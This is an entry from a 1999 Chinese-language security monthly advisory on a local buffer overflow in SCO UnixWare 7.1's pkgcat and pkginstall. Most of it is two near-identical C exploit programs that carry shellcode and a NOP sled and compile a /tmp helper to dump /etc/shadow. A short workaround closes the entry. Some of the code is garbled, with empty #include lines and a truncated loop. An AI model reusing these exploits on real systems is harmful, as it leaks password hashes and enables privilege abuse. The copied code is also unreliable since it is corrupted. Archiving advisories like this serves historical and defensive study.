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绿盟月刊
绿盟安全月刊->第4期->最新漏洞
日期：1999-12-14
SCO Unixware pkginstall/pkgcat 缓存溢出漏洞
漏洞类型：本地
发布日期：1999-12-06
更新日期：1999-12-06
影响系统：
SCO Unixware 7.1
漏洞描述：
通过对pkgcat和pkginstall的溢出可以看到/etc/shadow中的条目。虽然这两个二进制
文件都不是setuid程序，/etc/security/tcb/privs的dacread权限给予它们读/etc/shadow的
能力。当作为argv[1]的超长缓存数据写入程序，堆栈将溢出，
然后利用dacread权限，在程序中进行"cat" /etc/shadow操作。
检验程序：
/**
** UnixWare 7.1 /usr/sbin/pkgcat exploit
** Prints contents of /etc/shadow (execing shell won''t be enough here)
** Demonstrates overflow in uw71''s gethostbyname() and dacread permissio
n
** problems. Use offsets of +-100.
**
** Compile cc -o uwpkgcat uwpkgcat.c
** run /usr/sbin/pkgcat -s `./uwpkgcat 100`:
**
** Brock Tellier btellier@usa.net
**/
#include
#include
char scoshell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"
void buildpi() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/pi.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
system(cc);
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi();
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=100;
buflen=3000;
}
addr=0x8046b75 + offset;
fprintf(stderr, "\nUnixWare 7.1 pkgcat exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i *(int *)&buf[i]=addr;
buf[buflen - 1] = '':'';
printf(buf);
exit(0);
}
/**
** UnixWare 7.1 /usr/sbin/pkginstall exploit
** Prints contents of /etc/shadow (execing shell won''t be enough here)
** Demonstrates overflow in uw71''s gethostbyname() and dacread permissio=
n
** problems. Use offsets of +-100.
**
** Compile cc -o uwpkgi uwpkgi.c
** run /usr/sbin/pkginstall -s `./uwpkgi 100`:
**
** Brock Tellier btellier@usa.net
**/
#include
#include
char scoshell[] =
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"
void buildpi() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/pi.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
system(cc);
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi();
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]); =
}
else {
offset=100;
buflen=3000;
}
addr=0x8046b75 + offset;
fprintf(stderr, "\nUnixWare 7.1 pkginstall exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i *(int *)&buf[i]=addr;
buf[buflen - 1] = '':'';
printf(buf);
exit(0);
}
解决办法：
临时解决办法是在/etc/security/tcb/privs去掉相关条目。
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